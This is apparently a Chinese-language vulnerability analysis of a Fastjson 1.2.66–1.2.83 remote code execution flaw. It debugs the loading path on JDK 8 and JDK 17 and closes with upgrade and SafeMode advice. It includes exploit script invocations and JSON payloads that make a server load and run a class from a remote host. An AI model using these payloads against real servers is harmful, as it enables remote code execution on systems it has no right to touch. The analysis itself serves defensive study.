FastJson 1.2.83 漏洞分析
Fastjson 1.2.66~1.2.83 在特定配置与运行环境下,ParserConfig.checkAutoType 的类型校验及类加载路径可能被组合利用。Fastjson 1.2.84 已针对 URL 特殊字符、白名单哈希回验和危险类型缓存等问题进行加固。
| 属性 | 说明 |
|---|---|
| 影响版本 | Fastjson 1.2.66 ~ 1.2.83 |
| 利用条件 | 未开启 SafeMode;Spring Boot FatJar 部署;目标可出网;同时满足文章所述的解析入口、类加载器与依赖条件 |
| 核心特点 | 无需开启 AutoType、无需传统 Gadget 链、利用 @JSONType 注解探测机制加载远程类 |
| JDK 8 | 单阶段 RCE:直接 http:// payload 即可 |
| JDK 9+/17/21 | 需两阶段 jar:http:// → /proc/self/fd/N fd bridge 绕过 defineClass // 校验 |
Spring Boot fat-jar 的 LaunchedURLClassLoader 启动阶段会通过 JarFile.registerUrlProtocolHandler() 注册自定义 jar: 协议处理,使该类加载器能够处理 jar:http://、jar:file: 形式的资源路径,而如果由 AppClassLoader 加载,AppClassLoader 根本处理不了 jar: 协议。
修复建议:升级到 Fastjson 1.2.84 或更高版本;无法升级时应评估并启用 SafeMode。SafeMode 在 1.2.68 及之后提供,启用后会完全禁用 AutoType,可能带来兼容性影响。
0x01 开始调试:
环境搭建:
macos系统
java 1.8
需要注意的是:windows和Linux、mac的恶意文件是有区别的
自带的GenProbe.java只适合Linux和mac的
1 | if (execCommand) { |
如果是windows环境,需要自己修改一下,因为windows没有/bin/bash,需要改成cmd.exe
1 | if (execCommand) { |
配置调试:
java -agentlib:jdwp=transport=dt_socket,server=y,suspend=y,address=5005 -jar target/fastjson-rce-env-1.0.0.jar
IDEA 配置远程调试

java 1.8 调试
构造:
1 | bash scripts/build.sh localhost 19090 "open -a Calculator" jdk8-http |

一键攻击攻击:
1 | python3 poc/exploit.py localhost 19090 http://127.0.0.1:18080 /parse --mode jdk8-http --once |
直接在这里打断点
com.alibaba.fastjson.parser.ParserConfig#checkAutoType
typeName传进来的值就是请求恶意地址的值

autoTypeCheckHandlers为空直接跳过,这个可以理解为用户允许某个 @type 能不能反序列化,默认没有设置就直接跳过来,如果设置有的话,后面所有 SafeMode / 黑白名单 / 内置安全校验全部跳过。然后走到safemode,没开的话,默认就是关的,然后就是黑白名单过滤了。
注意:safemode是在1.2.68中添加的,打开后就完全禁用autoype(即@type),这样就能防御fastjson反序列化了
直接走到这,将类型名中的 . 替换为 /,追加 .class 后缀,所以http:..localhost:19090.a—-》http://localhost:19090/a.class
1 | String resource = typeName.replace('.', '/') + ".class"; |

然后走到这里,尝试用 ClassLoader 获取资源流,跟进getResourceAsStream
注意: getResourceAsStream 的类加载器要能识别 jar: 协议、把 jar:http://… / jar:file:/proc/self/fd/N! 真的当 URL 打开;同一个(或具备等价能力的)加载器 要能对读到的字节流调用 defineClass,Spring Boot fat-jar 的 LaunchedURLClassLoader 恰好同时满足这两点,所以
1 | is = ParserConfig.class.getClassLoader().getResourceAsStream(resource); |


判断点在这里getResource,继续跟进getResource,双亲委派的方式,自上而下资源查找,如果资源存在就返回地址,
1 | public URL getResource(String name) { |

然后回到java.net.URLClassLoader#getResourceAsStream,发起url连接,获取资源流,然后返回
1 | URLConnection urlc = url.openConnection(); //发起连接的一步 |
JVM 会根据 URL 的协议,选择合适的 URLStreamHandler,于 JarURLConnection: 这一步会解析 JAR 文件结构,定位到 POC.class 的字节码,拿到了 POC.class

用 ASM 扫描字节码中的 @JSONType 注解,检查POC.class 有 @JSONType 注解,又就返回true
1 | if (is != null) { |

可以跟进hasJsonType看一下
1 |
|


然后走完前面的,就到了这里,加载类,然后返回类
1 | clazz = TypeUtils.loadClass(typeName, defaultClassLoader, cacheClass); |

返回类之后回到这里,继续往下走

走到这里,跟进,里面触发newInstance(),动使用类,触发初始化
1 | instance = TypeUtils.cast(object, clazz, this.config); |

最终走到newInstance(),然后初始化poc触发了静态方法



java17 调试
JDK 9+ 模块化后,
http:协议不再被URLClassLoader.getResourceAsStream直接支持,但jar:http:仍然可以(先下载远程 jar,再从 jar 中提取资源)
手打payload:
1 | [ |
一键复现
1 | # 1. HTTP 托管恶意 JAR |
或者分步手动打(看清楚每一步):
1 | # Step 1: 下载恶意 JAR(触发 ClassLoader 缓存到 fd) |
第一阶段:下载 jar,创建 fd 缓存
继续在com.alibaba.fastjson.parser.ParserConfig#checkAutoType打断点,第一阶段还是一样
1 | typeName=jar:http:..localhost:19090.probe!.foo.Exception |

getRootJarFileFromUrl(url) 会下载远程 jar(http://host:19090/probe)到 /tmp/jar_cache*.tmp,打开该文件,然后删除磁盘文件但保持 fd 打开,当s 非 null = JVM 成功下载了远程 jar 并从中读取了.class 的字节流。这一刻,”缓存”已经在 OS 层形成了。
Linux 的 /proc 文件系统为每个进程维护了一个符号链接目录 /proc/self/fd/,其中每个条目指向该进程打开的文件描述符–即使文件已被从磁盘删除。
1 | is = ParserConfig.class.getClassLoader().getResourceAsStream(resource); |

识别 jar: 协议并决定去哪里读数据”的地方。阶段一时,这里内部会发起 HTTP 请求下载 jar → 这就是”缓存”形成的时刻。


可以直接查看容器中的/tmp目录,是有缓存
1 | % docker exec fj-jdk17-rce sh -c \ |
阶段二: 从 fd 读取恶意类
前面流程都一样,走到这里加资源流。
1 | is = ParserConfig.class.getClassLoader().getResourceAsStream(resource); |

跟前面一样,jsonType=true 导致 TypeUtils.loadClass(typeName, …) 被调用,最终走到 defineClass
1 | if (autoTypeSupport || jsonType || expectClassFlag) { |

java8和java17的区别:
真正的差异在 JVM Native 层(C++ 代码),ClassFileParser 解析类的内部名称时进行校验。
JDK 8 的 classFileParser.cpp 中 verify_unqualified_name 函数:
规则:禁止类名中出现 [ 、 . 、 ; 等特殊字符
结果://(连续斜杠)不在禁止列表中
因此 JDK 8 直接接受类名 http://1.2.3.4:19090/foo/Exception,defineClass 成功。
DK 9 重构了 class 文件解析器,加入了严格的类名校验:
- 类名首字符不能是 /
- 类名尾字符不能是 /
- 类名中不能出现连续的 //
具体实现在 src/hotspot/share/classfile/classFileParser.cpp 的 verify_legal_class_name()函数中。
你需要用 ASM 字节码在 <clinit> 里写出等价于下面 Java 逻辑的代码(用 ASM 指令拼):
1 | // 伪代码逻辑(实际要用 ASM 字节码指令写出) |
0x02 防御
1. 启用 SafeMode
这样@type关键字就没有用了
0x03 遇到的问题
刚刚开始的时候我调试,我使用十进制的格式的payload,但是java.lang.ClassLoader#getResource走到返回url为null,资源不存在
1 | JDK8 HTTP payload: {"@type":"http:..2886994434:19090.a"} |

测试时最初无法加载资源。排查后发现代理规则只放行了 IPv4 内网地址段;改用 localhost 后恢复正常。因此这里的问题来自本地代理配置,并非漏洞链本身。
1 | new URL("http://127.0.0.1:19090/a.class").openConnection() // → 200 |
